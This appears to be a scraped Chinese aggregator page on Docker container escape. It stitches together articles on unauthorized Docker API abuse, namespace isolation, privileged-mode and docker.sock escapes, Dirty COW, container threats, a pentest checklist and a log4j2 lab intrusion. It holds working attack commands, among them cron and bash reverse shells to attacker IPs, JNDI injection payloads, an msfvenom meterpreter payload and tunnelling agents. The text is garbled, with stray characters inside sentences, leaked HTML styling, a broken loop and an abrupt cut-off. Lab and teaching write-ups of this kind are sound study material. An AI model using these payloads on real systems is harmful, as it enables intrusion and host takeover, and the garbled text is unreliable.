docker逃逸(docker逃逸方法)
本篇文章给大家谈谈docker逃逸,以及docker逃逸方法对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。
本文目录一览:
- 1、Docker 未授权
- 2、云计算时代容器安全综述-容器的支柱之隔离Isolation(下)
- 3、干货来啦!带你初探Docker逃逸
- 4、容器安全有哪些威胁?
- 5、针对docker系统的渗透测试方法
- 6、记一次log4j2引发的渗透测试
Docker 未授权
一、环境配置
二、浏览器访问证明漏洞存在
三、
docker客户端远程链接
docker -H tcp://192.168.83.26:2375 version
看镜像
docker -H tcp://192.168.83.26:2375 images
开内置docker环境,把服务器计划任务挂在到容器/tmp目录基昌
docker -H tcp://192.168.83.26:2375 run -id -v /var/spool/cron
docker -H tcp://192.168.83.26:2375 ps -a
docker -H tcp://192.168.83.26:2375 exec -it 1ff9dd5b03e6 /bin/bash
写计划任务反弹
echo '* * * * * bash -i /dev/tcp/192.168.83.130/8888 01' root
docker逃逸,宿主机shell反弹成功,拿下服务器。
修复方法:
1、设置ACL,只允戚锋烂许信任ip连接高漏对应端口
2、开启TLS,使用生成的证书进行认证
[img]云计算时代容器安全综述-容器的支柱之隔离Isolation(下)
我们接着上篇文章继续讨论,通常情况下我们不希望,也不允许容器和宿主机看到相同的文件系统,那样的话多个容器实例和宿主机会共享相同的文件系统,隔离性就不存在了,因此我们一般情况下通过给每个容器创建独享的mount命名空间来实现文件系统的隔离。
首先我们来通过例子看看如何赋予进程独享的mount命名空间:在自己的机器上运行sudo unshare --mount sh来启肢枯动一个新的sh进程,接着创建文件夹source,并在文件夹中创建文件HELLO;然后我们再创建另外一个文件件target,并且通过命令mount --bind source target来将source文件夹bind到target文件夹,如果我们在target文件夹中运行ls -l命令,就可以看到source文件夹中的文件HELLO。如下是在笔者机器上的输扒没出:
vagrant@vagrant:~$ sudo unshare --mount sh
$ mkdir source
$ touch source/HELLO
$ ls source
HELLO
$ mkdir target
$ ls target
$ mount --bind source target
$ ls target
HELLO
上边的输出符合预期,我们接着通过命令findmnt来看看进程sh中具体有哪些mount,命令运行后会输出结果,你可历此洞以看到如下这段输出,也就是我们运行mount命令将源文件夹source和目标文件夹target关联在一起:
$ findmnt target
TARGET SOURCE FSTYPE OPTIONS
/home/vagrant/target
/dev/mapper/vagrant--vg-root[/home/vagrant/source]
ext4 rw,relatime,errors=remount-ro,data=ordered
读者可能会想知道,这个bind是否从宿主机可见。我们如果在宿主机上运行相同的命令findmnt,你会发现根本看不到上边的这个mount信息。我们刚才在sh的进程中继续运行命令findmnt,这次不带任何参数,你会发现会返回很长的一个mount列表。如果进程具备隔离性,是不应该看到宿主机上的全部mount信息的,这显然是有问题的。
如果你还记得我们讨论PID命名空间的情况吗,如果只是通过unmount --pid来把进程加入到一个新的PID命名空间中,我们是无法阻止容器看到宿主机的所有进程信息,因为容器进程中运行ps的时候,其实是请求内核读取/proc文件夹,而对于mount命名空间类似,当我们执行findmnt命令的时候,内核读取文件夹/proc/PID/mounts文件并返回。
当我们创建进程的时为进程分配了新的mount命名空间,但是在进程中运行findmnt的时候,使用的仍然是宿主机的/proc文件夹,因此返回的mount信息中包含了进程创建时间点之前宿主机上所有的mount信息,我们可以通过cat进程ID对应的文件来验证:cat /proc/PID/mounts。
那么我们如何能让新创建的进程有自己专属的文件系统呢?我们可以通过:1,为容器进程创建新的mount命名空间;2,为进程设置新的root文件系统;3,为进程创建新的proc mount,如下边在笔者的机器运行所示:
vagrant@vagrant:~$ sudo unshare --mount chroot alpine sh
/ $ mount -t proc proc proc
/ $ mount
proc on /proc type proc (rw,relatime)
/ $ mkdir source
/ $ touch source/HELLO
/ $ mkdir target
/ $ mount --bind source target
/ $ mount
proc on /proc type proc (rw,relatime)
/dev/sda1 on /target type ext4 (rw,relatime,data=ordered)
熟悉docker的同学一定有过将宿主机上的某个文件夹挂载到容器中的经验,比如我们要在容器中运行某些应用程序或者读取需要的数据,命令docker run -v 宿主机目录 : 容器目录 ..., 本质上当容器的root文件夹系统被加载后,会立即创建容器上的目标目录,然后宿主机上的目录被bind到容器中的目录上,由于每个容器都有自己的mount命名空间,因此通过这种方式挂载到容器中的目录,对其他容器不可见。
有了mount命名空间的知识后,我们继续讨论Network命名空间。网络(Network)命名空间赋予容器专属的网络设备接口和路由表。我们可以通过命令行工具lsns来查看机器上的network命名空间。进程启动可以通过--net来创建新的命名空间,如下边命令的输出所示:
vagrant@vagrant:~$ sudo lsns -t net
NS TYPE NPROCS PID USER NETNSID NSFS COMMAND
4026531992 net 93 1 root unassigned /sbin/init
vagrant@vagrant:~$ sudo unshare --net bash
root@vagrant:~$ lsns -t net
NS TYPE NPROCS PID USER NETNSID NSFS COMMAND
4026531992 net 92 1 root unassigned /sbin/init
4026532192 net 2 28586 root unassigned bash
当进程运行在专属的network命名空间,如果不做任何配置,进程只能看到回路接口(lo)。我们可以通过ip a来验证,如下是在笔者机器上的输出:
vagrant@vagrant:~$ sudo unshare --net bash
root@myhost:~$ ip a
1: lo: LOOPBACK mtu 65536 qdisc noop state DOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
只有loopback回路地址也没有啥用,最简单的容器之间进行相互通信都无法实现。为了让容器能够和外界连接,我们需要给容器进程创建virtual Ethernet网络接口,或者严格来说,我们其实创建了一对虚拟以太网接口。
虚拟以太网接口人如其名,就如同办公室中的电缆一样,将容器的网络命名空间和宿主机上的默认网络命名空间连接了起来。我们在保持前边bash进程的前提下,在宿主机上的另外一个控制台窗口上运行命令:root@vagrant:~$ ip link add ve1 netns 32586 type veth peer name ve2 netns 1 来为进程bash创建一对虚拟以太网接口(进程id是32586),其中:
- ip link add命令告诉宿主机我们要增加一个link
- ve1是虚拟以太网这根电缆的容器进程端的名字
- netns 32586表示ve1这一端插入到进程32586这个进程的网络命名空间中
- type veth表示类型,veth表示虚拟以太网
- peer name ve2表示虚拟以太网电缆另外一端的名称为ve2
- netns 1表示ve2插入到进程号1的网络命名空间
上边的命令运行成功后,我们就可以成功的在容器进程中看到ve1(容器端的虚拟以太网接口),如下是在笔者机器上启动的bash进程中运行ip a看到的输出:
root@vagrant:~$ ip a
1: lo: LOOPBACK mtu 65536 qdisc noop state DOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: ve1@if3: BROADCAST,MULTICAST mtu 1500 qdisc noop state DOWN group ...
link/ether 7a:8a:3f:ba:61:2c brd ff:ff:ff:ff:ff:ff link-netnsid 0
不行的是状态DOWN表明这个接口现在无法使用,为了从宿主机到容器来通,我们需要将这个叫ve1@if3的以太网接口激活,这意味着我们需要同时从宿主机上和容器内将这个两端都激活。首先我们在宿主机上,也就是ve2端将虚拟以太网link激活,运行命令:root@vagrant:~$ ip link set ve2 up,接着我们在容器中,也就是ve1端运行相同的命令后,再次通过ip a查看进程的可见网络接口就会发现状态为UP,在笔者的机器上输出如下:
root@vagrant:~$ ip link set ve1 up
root@vagrant:~$ ip a
1: lo: LOOPBACK mtu 65536 qdisc noop state DOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: ve1@if3: BROADCAST,MULTICAST,UP,LOWER_UP mtu 1500 qdisc noqueue state UP ...
link/ether 7a:8a:3f:ba:61:2c brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::788a:3fff:feba:612c/64 scope link
valid_lft forever preferred_lft forever
眼尖的同学会发现ve1@if3这个接口上根本没有ip地址啊,为了容器进程和宿主机IP数据包相互可达,我们需要在以太网的两端设置响应的IP地址,在容器中运行命令:root@vagrant:~$ ip addr add 192.168.1.100/24 dev ve1来为容器端网络端口设置IP段,同样在宿主机上运行命令:root@vagrant:~$ ip addr add 192.168.1.200/24 dev ve1来为宿主机端的以太网设备配置IP地址段。
当我们分别在两端设置好IP地址后,容器的路由表也会插入相应的路由信息,如下的是笔者在bash进程中运行ip route看到的输出:
root@myhost:~$ ip route
192.168.1.0/24 dev ve1 proto kernel scope link src 192.168.1.200
读者可以实际操作一下,这表路由配置信息就允许我们将IP数据包发送到宿主机。
由于我们在前边的文章中详细介绍过cgroup的原理,因此咱这里就不在累述了,简单来说,cgroup让进程只能看到自己专属的cgroup资源控制文件夹。cgroup命名空间和其他的命名空间比起来,被加入到Linux的时间靠后,大部分命名空间是在linux内核版本3.8被引入,而cgroup命名空间知道内核版本v4.6才被引入。
在Linux操作系统中,进程间可以通过共享内存或者消息队列来进行通信,前提是两个进程必须所属相同的IPC命名空间。通常来说,我们不希望一个运行在一个进程中的应用程序访问另外一个进程的内存,因此大部分情况下进程都有自己独享的IPC命名空间。
我们可以通过ipcmk和ipcs来验证,ipcmk用来创建一个共享内存段,而ipcs用来返回IPC的状态,在笔者的机器上输出如下:
$ ipcmk -M 1000
Shared memory id: 98307
$ ipcs
------ Message Queues --------
key msqid owner perms used-bytes messages
48 | Chapter 4: Container Isolation
------ Shared Memory Segments --------
key shmid owner perms bytes nattch status
0xad291bee 98307 ubuntu 644 1000 0
------ Semaphore Arrays --------
key semid owner perms nsems
0x000000a7 0 root 600 1
我们可以在启动进程的时候,通过unshare --ipc来给进程创建新的IPC命名空间,然后在进程中运行ipcs后,从返回的结果就可以看到这是一个新的IPC命名空间,没有任何进程间通信的结构。
最后我们来说说User命名空间。User命名空间本质上让进程有自己专属的用户(user)和组(group)视图。user命名空间和PID命名空间类似,只是在新的user命名空间中,宿主机上的user和组信息可以有不同的ID。
从安全的角度看,user命名空间是革命性的, 因为我们可以把容器中的0号用户(root用户)映射到宿主机上的非root用户上,这样即便是恶意攻击者从容器中逃逸,那么在宿主机上也只持有一个权限有限的账户。
但是不幸的是,user命名空间目前还不是太被广泛的使用,Docker上默认为开启user命名空间,并且Kubernetes根本就不支持,不过这个命名空间在kubernetes社区正在积极的被讨论是否加入。
我们来实践一下,在自己机器上通过命令unshare --user bash来启动一个新的bash进程,在进程中运行id命令返回用户信息,如下输出所示:
vagrant@vagrant:~$ unshare --user bash
nobody@vagrant:~$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@vagrant:~$ echo $$
31196
本质上来说,在新的用户命名空间中,宿主机上的用户1000,在宿主机上的ID是nobody,并且ID是65534,具体来说,用户信息从宿主机映射到进程是通过文件/proc/pid/uid_map来完成。感兴趣的同学可以研究一下如何在root用户权限下编辑这个文件。
比如我们为进程31196运行命令sudo echo '0 1000 1' /proc/31196/uid_map后,用户1000在进程中就有了root权限,我们可以通过运行id命令来验证:
nobody@vagrant:~$ id
uid=0(root) gid=65534(nogroup) groups=65534(nogroup)
root用户在容器进程内部有几乎所有的权限,我们可以通过命令capsh --print | grep Current来验证,输出的很长一串capabilities。咱们在前边的文章介绍过Linux操作系统的capabilities机制,在容器内部,内容允许这个“伪”root用户可以干几乎所有的事情,比如创建命名空间,设置网络等。
如果我们在启动进程的时候需要创建多个新的命名空间,那么一般情况下user命名空间是首先会被创建出来,然后用户会具备root权限,比如我们不通过root权限运行unshare --uts bash会出错,但是运行unshare --uts --user bash不会报错并成功。
注:Docker默认情况下并没有turn on 用户命名空间,主要原因是兼容性问题。比如我们的应用程序在容器中以root权限运行,应用无法监听小于1024的端口,主要原因是容器的root权限没有CAP_NET_BIND_SERVICE能力。
从宿主机的角度来看,虽然我们通常把docker运行起来的应用程序称作“容器实例”,但是从宿主机上看到的更多是“容器化的进程”。运行应用程序的容器实例仍然是Linux操作系统上的一个进程,唯一的区别是这些叫容器的进程只能看到宿主机的一部分,只能访问操作系统文件系统的一部分,只能使用机器的部分资源。
笔者想要强调的是,无论怎么看,运行在Docker中的容器实例是操作系统的一个进程,虽说有自己的进程上下文,但是同一台机器上的进程共享底层的操作系统内核。我们可以同时从宿主机上和容器内部看到应用程序进程,唯一的不同就是进程ID。宿主机上可以看到所有容器进程这个事实决定了容器的隔离边界,从安全的角度来看,如果恶意攻击者攻破了宿主机,那么黑客就有能力影响所有运行在这台机器上的应用程序。
通过这篇文章,读者应该很清楚一个事实,容器和宿主机共享同一个操作系统内核,从安全的角度衍生了新的安全问题。笔者强烈建议将容器进程运行在专属的物理机或者虚拟机上(也就是这些机器上不要跑其他业务负载),原因主要是安全的考虑:
- 当我们使用像kubernetes这样的容器编排平台来部署应用程序,意味着运维人员基本不需要直接登陆到宿主机上。这样安全性也就更好,因为宿主机上只需要跑类似于kubelets和kube proxy这样的插件,攻击面被极大的缩减。
- 我们在设计应用的部署架构时,可以考虑Thin OS,这种定制的OS只包含运行容器应用的必要组件,降低了存在安全漏洞的风险。
- 集群中的宿主机做到immutable,当一台机器故障的时候,我们不是修复这台机器,而是替换这台机器,这样所有机器的安全补丁受统一控制,管理更加容易。
好了,咱们这篇文章就这么多了,下篇文章我们继续讨论容器和虚拟机的差异,这是我们理解容器化部署的基石,敬请期待!
干货来啦!带你初探Docker逃逸
Docker 是当今使用范围最广的开源容器技术之一,具有高效易用的优点。然而如果使用Docker时采取不当安全策略,则可能 导致系统面临安全威胁。
本期安仔课堂,ISEC实验室的张老师 将为大家介绍不同环境下, Docker逃逸至外部宿主机的情况。
一、配置特权模式时的逃逸情况
1.--privileged(特权模式)
特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器, 可以获取大量设备文件访问权限 。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将碧游外部宿主机磁盘设备挂载进容器内稿慧迹部, 获取对整个宿主机的文件读写权限 ,此外还可以 通过写入计划任务等方式在宿主机执行命令 。
具体步骤如下:
1.以特权模式运行一个容器:docker run -it --privileged ubuntu:14.04 /bin/bash
2.查看磁盘文件:fdisk -l
3.此时查看/dev/路径会发现很多设备文件:ls /dev
4.新建目录以备挂载:mkdir /abc
5.将/dev/sda1挂载至 /abc: mount /dev/sda1 /abc
6.最终我们可以通过访问容器内部的/abc路径来达到访问整个宿主机的目的:ls /abc
7.尝试写文件到宿主机:echo 123 /abc/home/botasky/escape2
8.查看宿主机中的文件:ls /home/botasky/escape2
2.--cap-add与SYS_ADMIN
Linux内核自版本2.2起引入功能(capabilities)机制,打破了UNIX/LINUX操作系统中超级用户与普通用户的概念, 允许普通用户执行超级用户权限方能运行的命令 。
截至Linux 3.0版本,Linux中共有 38种capabilities。Docker容器默认限制为14个capabilities ,管理员可以使用--cap-add和--cap-drop选项 为容器精确配置capabilities 。
当容器使用特权模式启动时,将被赋予所有capabilities。此外,在--cap-add的诸多选项中,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,因此当容器以--cap-add=SYSADMIN启动时,也将面临威胁。
二、挂载配置不当时的逃逸情况
1.危险的Docker.sock
众所周知,Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间 通信方式有以下3种:
其中 使用docker.sock进行通信为默认方式 ,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。
本质上而言,能够访问docker socket 或连接HTTPS API的进程可以 执行Docker服务能够运行的任意键并命令 ,以root权限运行的Docker服务通常可以 访问整个主机系统 。
因此,当容器访问docker socket时,我们可 通过与docker daemon的通信对其进行恶意操纵完成逃逸 。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。
具体步骤如下:
1.运行一个挂载/var/run/的容器:docker run -it -v /var/run/:/host/var/run/ ubuntu:14.04 /bin/bash
2.在容器内安装Docker作为client(此步骤可能需要更换源):apt-get install docker.io
3.查看宿主机Docker信息:docker -H unix:///host/var/run/docker.sock info
4.运行一个新容器并挂载宿主机根路径:docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash
可以看见@符号后的Docker ID已经发生变化:
5.在新容器/aa路径下完成对宿主机资源的访问:ls /aa
三、存在Dirty Cow漏洞时的逃逸情况
1.脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。
竞争条件 意为任务执行顺序异常,可能 导致应用崩溃或面临攻击者的代码执行威胁 。利用该漏洞,攻击者可在其目标系统内提升权限,甚至 获得root权限 。 VDSO 就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。
在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击, 令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件 。
2.PoC验证环境
GitHub上已有人提供了测试环境与PoC,我们可以通过以下命令获取。
1. 运行验证容器:docker-compose run dirtycow /bin/bash
2. 本地开启nc,进行观察(PoC中设置的反弹地址为本地的1234端口):nc -lvp 1234
3. 编译PoC并运行,等待shell反弹:make ./0xdeadbeef
通过ID命令,可以发现这个shell为root权限:
参考引用
容器安全有哪些威胁?
1、不安全的镜像:镜像是一个包含应用/服务运行所必需的操作系统和应用文件的集合,用于创建一个或多个容器,它们之间紧密联系,镜像的安全谨碧桥性将会影响容器安全。根据镜像创建和使用方式,通常有三个因素影响镜像安全:a、基础镜像不安全:镜像通常是开发者基于某个基础镜像创建的,无论是攻击者上传的恶意镜像,还是现有镜像存在的安全缺陷,基于它创建的镜像都将会是不安全的。 b、使用包含漏洞的软件:开发者经常会使用软件库的代码或软件,如果它们存在漏洞或恶意代码,一旦被制作成镜像,也将会影响容器的安全。c、镜像被篡改:容器镜像在存储和使用的过程中,可能被篡改,如被植入恶意程序和修改内容。一旦使用被恶意篡改的镜像创建容器后,将会影响容器和应用程序的安全。2、容器技术风险:容器隔离依赖于 Linux 内核 namespaces 和 cgroups 等特性,从攻击者的角度出发,可以利用内核系统漏洞,容器运行时组件和容器应用部署配置等多个维度发起针对性的逃逸和越权攻击。K8s、Docker等开源软件近年来也相继爆出不少的高危漏洞,这都给攻击者提供了可乘之机。3、东西向慧旦流量防护:传统的企业应用安全模型通常基于内部架构不同的信任域来划分对应的安全边界,在信任域内的东西向服务交互被认为是安全的。而上云后企业应用需要在 IDC 和云上部署和交互,在物理安全边界消失后,如何在零信任的网络安全模型下构建企业级容器安全体系是云服务商需要解决的重要问题。以Docker环境为例,它支持Bridge、Overlay和Macvlan等网络,尽管实现方式不同,但有一个共同和普遍的问题:如果容器之间未进行有效隔离和控制,则一旦攻击者控制某台主机或某台容器,可以以此为跳板,攻击同主机或不同主机上的其他容器,也就是常提到的“东西向攻击”,甚至有可能形成拒绝服务攻击。4、访问控制:由于云环境的特殊性,云原生架构下的数据泄露风险远远大于传统环境。因此,需要充分利用云原生架构下的认证授权体系,结合应用自身的权限控制,严格遵循最小权限法则配置云上资源的访问控制和容器应用的权限。例如祥猛,如非必要尽量避免使用特权容器。
针对docker系统的渗透测试方法
翻译总结于:《A Methodology for Penetration Testing Docker Systems》
文章从两个攻击模型进行分析,结合错误配置和已知漏洞对docker渗透测试进行总结归纳,并给出了一份docker渗透测试检查清单。
作者讨论了两种情况:在容器内和在容器外。在容器内部,攻击者会聚焦在逃逸隔离(即容器逃逸)。在容器外部,即宿主机上,攻击者还没有主机特权,这时候攻击者将会使用Docker(即Docker daemon攻击)来获得权限。
容器逃逸重点在攻击和绕过隔离和保护机制,其中又可分成两种:一种是从容器逃逸到主机(CVE-2017-7308),另一种是从容器逃逸到另一个容器获取其中数据。
作者从错误配置和安全漏洞两个角度对上述两个场景中的安全问题进行了梳理。漏洞问题是自身程序问题,错误配置更多的是用户使用问题。
前两个错误配置与在主机上执行的Docker Daemon有关,其他错误配置与从容器内执行的容器逃逸攻击有关。
(2)可读写的Docker Socket:一些管理员设置了所有用户的读写权限,给了所有用户Docker Daemon的权限,尽管用户不在docker group也能使用docker。
(3)setuid bit:系统管理员在docker二进制文件上设置setuid位。setuid位是Unix中的权限位,它允许用户运行二进制文件而不是其本身作为二进制文件的所有者。如果和誉为docker二进制文件错误配置了setuid位,那么用户将能够以root身份执行docker。
(1)Container Escape Using the Docker Socket:如果/var/run/docker.sock作为volume挂载到容器上,那么容器中的进程可以完全访问主机上的docker。
(2)Sensitive Information:当容器可以访问/var/run/docker.sock时,用户可以查看现有容器的配置,其中可能包含一些敏感信息。
(3)Remote Access:如果没有配置docker API只监听本地主机,那么网络上的每个主机都可以访问docker,攻击者可以利用这种错误配置启动其他容器。
亩兆文章中列举了一些最近的且已完全公开的可能在渗透测试期间使用的bug。
(1)CVE-2019-16884
(2)CVE-2019-13139
(3)CVE-2019-5736
(4)CVE-2019-5021
(5)CVE-2018-15664
(6)CVE-2018-9862
(7)CVE-2016-3697
首先需要对目标系统执行侦查来收集数据,然后使用收集到的信息来识别弱点和漏洞。
(2)识别容器的操作系统(或者Docker镜像)
(3)识别主机操作系统:因为容器使用宿主的内核,所以可以使用内核版本来标识宿主信息,从而检测一些内核利用。
(4)读环境变量:环境变量是启动容器时与唤耐段容器通信信息的一种方式。当一个容器启动时,环境变量被传递给它,这些变量通常包含密码和其他敏感信息。
(5)检查Capabilities:通过查看/proc/self/status来查看容器的内核功能。其中CapEff是当前功能的值,可以使用capsh工具从十六进制值获取功能列表。可以使用这个来检查是否有可以用来容器逃逸的功能。
(6)检查特权模式:如果容器以特权模式运行,它将获得所有功能,因此可以通过查看能力(0000003fffffffff是所有能力的表示)来检查是否以特权模式运行进程。
(7)检查volumes:卷中可能包含敏感信息,可以通过查看挂载的文件系统位置来查看。
(8)检查挂载的docker socket
(9)检查网络配置
(2)拥有docker使用权限的用户
(3)配置:/etc/docker/daemon或/etc/default/docker
(4)可获得的镜像和容器
(5)iptables规则:使用 iptables -vnL 和 iptables -t nat -vnL,可以看到默认表filter和nat的规则。所有关于docker容器的防火墙规则都在filter中的docker -user链中设置。
记一次log4j2引发的渗透测试
记一次log4j2打入内网并用CVE-2021-42287、CVE-2021-42278获取到DC权限的靶场渗透。
首先对web进行端口扫描,发现38080端口和22端口
访问一下38080端口发现是一个error page
用Wappalyzer看一下是什么架构,但是好像没有检测出来
拿着报错去百度上发现应该是springboot
索性用goby再去扫一下,应该是spring没错,但是没有漏洞是什么操作?联想到最近出的log4j2的伏埋洞,可能他缺银蚂只是一个日志文件所以并没有框架
使用 payload=${jndi:ldap://p9j8l8.dnslog.cn} 验证一下有回显证明存在漏洞
尝试进一步利用搏团漏洞,首先起一个ldap服务,ip为本地接收shell的ip地址
pre class="md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105/pre
抓包修改 Content-Type: appllication/x-www-form-urlencoded ,并执行以下payload成功回显
pre class="md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"payload=${jndi: ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho }/pre
执行 ls -al / 看一下也成功
nc开启监听端口
然后使用bash命令反弹,这里需要先base64编码然后对编码后的特殊字符进行2层url转码
pre class="md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bash -i /dev/tcp/192.168.1.105/9999 01/pre
抓包添加 payload=${jndi:ldap:1/192.168.1.105:1389/TomcatBypass/Command/Base64/二层转码之后的字符} ,即可得到反弹shell
进行信息搜集发现为docker环境,这里尝试了docker逃逸失败,那么继续进行信息搜集
在根目录下找到了第一个flag,这里有一个 got this ,在之前端口扫描的时候看到开放了22端口,尝试使用ssh直接连接
使用xshell尝试连接
连接成功,拿到了宿主机的权限
ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡
这里方便的话其实可以使用cs上线linux后用cs继续打,这里我就没有上线cs,使用linux的命令对10.0.1.0/24段探测存货主机
pre class="md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;" for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 i Find the target; fi; done/pre
ping一下是存活的
使用毒液把流量代理出来,首先开启监听
pre class="md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"admin.exe -lport 7777/pre
然后上传agent_linux到靶机上
加权并执行
pre class="md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 agent_linux_x86
agent_linux_x86 -rhost 192.168.1.105 -rport 7777/pre
连接成功
这里本来准备用毒液的代理到msf打的,后面觉得比较麻烦,就直接用kali生成的elf马上线msf了
首先生成一个32位的elf马
pre class="md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf shell.elf/pre
然后加权并执行
pre class="md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 shell.elf
./shell/pre
kali使用 exploit/multi/handler 进行监听
获取到宿主机的shell
然后添加10.0.1.0/24段的路由
pre class="md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bg
